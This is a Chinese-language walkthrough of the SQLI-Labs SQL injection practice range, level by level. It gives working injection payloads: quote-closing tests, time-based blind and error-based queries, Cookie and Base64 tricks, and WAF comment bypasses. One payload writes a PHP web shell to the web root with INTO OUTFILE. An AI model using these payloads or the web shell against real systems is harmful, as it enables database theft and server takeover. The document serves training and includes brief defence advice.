1. SQLI-Labs靶场环境搭建与基础认知
第一次接触SQLI-Labs靶场时,我在本地搭建环境就踩了不少坑。这个基于PHP/MySQL的靶场模拟了26种不同场景的SQL注入漏洞,从最基础的字符型注入到复杂的盲注和堆叠查询应有尽有。建议使用XAMPP或Docker快速部署,特别注意PHP版本要兼容(5.x最佳),我在PHP7.4上运行时曾遇到字符编码问题导致部分关卡异常。
靶场目录结构很清晰:
code复制/sqli-labs
├── /Less-1 # 第1关目录
├── /Less-2 # 第2关目录
└── /sql-connections # 数据库配置文件
关键配置文件是sql-connections/db-creds.inc,需要修改MySQL连接信息。新手常犯的错误是忘记给数据库用户分配足够权限,导致靶场初始化失败。建议用以下SQL创建专用数据库:
sql复制CREATE DATABASE sqli_labs;
GRANT ALL PRIVILEGES ON sqli_labs.* TO 'user'@'localhost';
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 基础注入技巧通关详解(第1-10关)
2.1 字符型注入实战(Less-1到Less-4)
第1关是最基础的字符型注入,URL参数id=1对应的后端SQL大概是:
sql复制SELECT * FROM users WHERE id='$id' LIMIT 1
经典测试方法是构造id=1' and '1'='1验证闭合方式。我在实战中发现一个细节:当单引号被转义时,可以尝试双引号id=1"或转义符id=1\'。第3关的闭合方式是),需要构造如id=1) --+的payload。
重要技巧:使用
--+而非#注释,因为URL中的#会被当作锚点处理。在Burp Suite中可以看到原始请求的区别。
2.2 数字型注入突破(Less-5到Less-7)
第5关开始出现数字型注入,SQL语句形如:
sql复制SELECT * FROM users WHERE id=$id LIMIT 1
这里不需要闭合引号,直接使用算术表达式即可。例如:
code复制id=1 and 1=1 # 正常返回
id=1 and 1=2 # 空返回
第7关需要导出文件,我遇到权限问题时发现需要确认:
- MySQL的
secure_file_priv设置 - 数据库用户有FILE权限
- 目标目录可写
有效payload:
sql复制1')) UNION SELECT 1,2,"<?php system($_GET['cmd']);?>"
INTO OUTFILE '/var/www/html/shell.php'--+
3. 中级注入技术解析(第11-20关)
3.1 POST型注入攻防(Less-11到Less-14)
从第11关开始变成POST表单提交,我用Burp Suite拦截修改请求发现:
- Less-11是单引号闭合
- Less-12是双引号加括号闭合
- Less-13比较特殊,是
')闭合且无回显
无回显场景下,我常用时间盲注技术。例如判断数据库名长度:
sql复制admin' AND IF(LENGTH(DATABASE())=8,SLEEP(5),0)--
3.2 报错注入精要(Less-15到Less-17)
第15关开始关闭了错误回显,但可以通过报错注入获取信息。推荐三种函数组合:
| 函数组合 | 适用场景 |
|---|---|
| extractvalue()+concat() | MySQL 5.1+ |
| updatexml()+rand() | 需要触发XPATH错误 |
| geometrycollection()+@x | 老版本MySQL兼容性好 |
实战payload示例:
sql复制admin' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))--
4. 高级注入挑战(第21-26关)
4.1 Cookie注入与编码绕过(Less-20到Less-22)
第20关的注入点在Cookie中,需要:
- 先用正常登录获取有效会话
- 修改
unameCookie值
我常用的Base64编码绕过姿势:
python复制import base64
payload = "admin' AND 1=1-- "
print(base64.b64encode(payload.encode()).decode()) # YWRtaW4nIEFORCAxPTEtLSA=
4.2 堆叠查询与二阶注入(Less-23到Less-26)
第23关开始有WAF过滤,我通过注释符变形绕过:
sql复制/*!50000select*/ 1,2,3 # MySQL版本特定语法
第24关是二阶注入典型案例,注册用户时:
sql复制username: admin'--
password: 123
登录后修改密码时,实际执行:
sql复制UPDATE users SET password='newpass' WHERE username='admin'-- ' AND password='oldpass'
5. 实战经验与防御建议
经过完整通关后,我总结出几个关键点:
-
信息收集阶段
- 用
@@version判断数据库类型 information_schema表结构要熟记- 遇到过滤时测试
/*!*/内联注释
- 用
-
自动化工具技巧
- SQLmap的
--tamper参数应对WAF - 对JSON格式接口使用
--data和`--headers
- SQLmap的
-
防御方案
- 预处理语句必须参数化
- 最小权限原则分配数据库账号
- 输入验证使用白名单而非黑名单
在真实环境中,我曾遇到过滤了union但漏了UNiOn的大小写变种。这种时候用/*!UNION*/ SELECT往往能出奇制胜。另外,时间盲注时推荐使用二分法缩短检测时间,例如:
sql复制IF(ASCII(SUBSTR(DATABASE(),1,1))>100,SLEEP(2),0)
